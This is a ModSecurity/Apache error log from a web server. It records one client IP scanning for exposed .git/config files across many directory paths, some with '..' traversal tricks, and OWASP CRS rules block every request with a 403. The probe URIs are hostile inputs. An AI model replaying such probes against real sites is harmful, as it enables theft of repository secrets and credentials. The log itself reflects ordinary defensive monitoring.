[Sat Oct 26 05:36:16.038760 2024] [:error] [pid 2872371] [client 179.43.189.138:55540] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static../.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PqwAAAAQ&quot;]
[Sat Oct 26 05:36:16.043714 2024] [:error] [pid 2872371] [client 179.43.189.138:55540] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static../.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PqwAAAAQ&quot;]
[Sat Oct 26 05:36:16.058797 2024] [:error] [pid 2872369] [client 179.43.189.138:55578] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/events../.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQgQAAAAI&quot;]
[Sat Oct 26 05:36:16.059009 2024] [:error] [pid 2872369] [client 179.43.189.138:55578] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/events../.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQgQAAAAI&quot;]
[Sat Oct 26 05:36:16.059773 2024] [:error] [pid 2872367] [client 179.43.189.138:55562] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css../.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjoAAAAAA&quot;]
[Sat Oct 26 05:36:16.060331 2024] [:error] [pid 2872436] [client 179.43.189.138:55592] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib../.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqfwAAAAY&quot;]
[Sat Oct 26 05:36:16.060368 2024] [:error] [pid 2872367] [client 179.43.189.138:55562] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css../.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjoAAAAAA&quot;]
[Sat Oct 26 05:36:16.060549 2024] [:error] [pid 2872436] [client 179.43.189.138:55592] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib../.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqfwAAAAY&quot;]
[Sat Oct 26 05:36:16.060723 2024] [:error] [pid 2872436] [client 179.43.189.138:55592] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib../.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqfwAAAAY&quot;]
[Sat Oct 26 05:36:16.060748 2024] [:error] [pid 2872367] [client 179.43.189.138:55562] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css../.git/config&quot;] [unique_id &quot;ZxxjsMYALjnTr3ciuJbjoAAAAAA&quot;]
[Sat Oct 26 05:36:16.062290 2024] [:error] [pid 2872371] [client 179.43.189.138:55604] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /scripts/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrAAAAAQ&quot;]
[Sat Oct 26 05:36:16.062473 2024] [:error] [pid 2872371] [client 179.43.189.138:55604] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrAAAAAQ&quot;]
[Sat Oct 26 05:36:16.062643 2024] [:error] [pid 2872371] [client 179.43.189.138:55604] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.git/config&quot;] [unique_id &quot;ZxxjsHUmyp7FcJ9_lY_PrAAAAAQ&quot;]
[Sat Oct 26 05:36:16.062708 2024] [:error] [pid 2872370] [client 179.43.189.138:55570] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content../.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9mrgAAAAM&quot;]
[Sat Oct 26 05:36:16.062782 2024] [:error] [pid 2872369] [client 179.43.189.138:55578] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/events../.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQgQAAAAI&quot;]
[Sat Oct 26 05:36:16.062992 2024] [:error] [pid 2872370] [client 179.43.189.138:55570] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content../.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9mrgAAAAM&quot;]
[Sat Oct 26 05:36:16.063238 2024] [:error] [pid 2872370] [client 179.43.189.138:55570] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content../.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9mrgAAAAM&quot;]
[Sat Oct 26 05:36:16.063464 2024] [:error] [pid 2872392] [client 179.43.189.138:55554] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img../.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCAAAAAU&quot;]
[Sat Oct 26 05:36:16.063647 2024] [:error] [pid 2872392] [client 179.43.189.138:55554] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img../.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCAAAAAU&quot;]
[Sat Oct 26 05:36:16.063819 2024] [:error] [pid 2872392] [client 179.43.189.138:55554] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img../.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCAAAAAU&quot;]
[Sat Oct 26 05:36:16.066206 2024] [:error] [pid 2872368] [client 179.43.189.138:55580] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media../.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1ogAAAAE&quot;]
[Sat Oct 26 05:36:16.066561 2024] [:error] [pid 2872368] [client 179.43.189.138:55580] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media../.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1ogAAAAE&quot;]
[Sat Oct 26 05:36:16.066818 2024] [:error] [pid 2872368] [client 179.43.189.138:55580] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media../.git/config&quot;] [unique_id &quot;ZxxjsKAV0pSfcDVZE_T1ogAAAAE&quot;]
[Sat Oct 26 05:36:16.080869 2024] [:error] [pid 2872369] [client 179.43.189.138:55608] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /js/libs/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/libs/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQggAAAAI&quot;]
[Sat Oct 26 05:36:16.081054 2024] [:error] [pid 2872369] [client 179.43.189.138:55608] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/libs/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQggAAAAI&quot;]
[Sat Oct 26 05:36:16.081234 2024] [:error] [pid 2872369] [client 179.43.189.138:55608] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/libs/.git/config&quot;] [unique_id &quot;ZxxjsFCfcrTqG_R_jGDQggAAAAI&quot;]
[Sat Oct 26 05:36:16.084164 2024] [:error] [pid 2872436] [client 179.43.189.138:55630] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqgAAAAAY&quot;]
[Sat Oct 26 05:36:16.084340 2024] [:error] [pid 2872436] [client 179.43.189.138:55630] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;ZxxjsL30Ur-kbj4TPouqgAAAAAY&quot;]
[Sat Oct 26 05:36:16.085629 2024] [:error] [pid 2872370] [client 179.43.189.138:55640] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9mrwAAAAM&quot;]
[Sat Oct 26 05:36:16.085691 2024] [:error] [pid 2872392] [client 179.43.189.138:55650] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCQAAAAU&quot;]
[Sat Oct 26 05:36:16.085885 2024] [:error] [pid 2872392] [client 179.43.189.138:55650] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCQAAAAU&quot;]
[Sat Oct 26 05:36:16.085908 2024] [:error] [pid 2872370] [client 179.43.189.138:55640] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;ZxxjsBW79L51VgEUIp9mrwAAAAM&quot;]
[Sat Oct 26 05:36:16.086051 2024] [:error] [pid 2872392] [client 179.43.189.138:55650] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;ZxxjsJSzFa2StgkYrldUCQAAAAU&quot;]
